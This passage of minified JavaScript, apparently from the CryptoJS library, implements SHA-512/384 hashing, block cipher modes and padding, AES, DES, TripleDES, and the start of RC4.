r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = 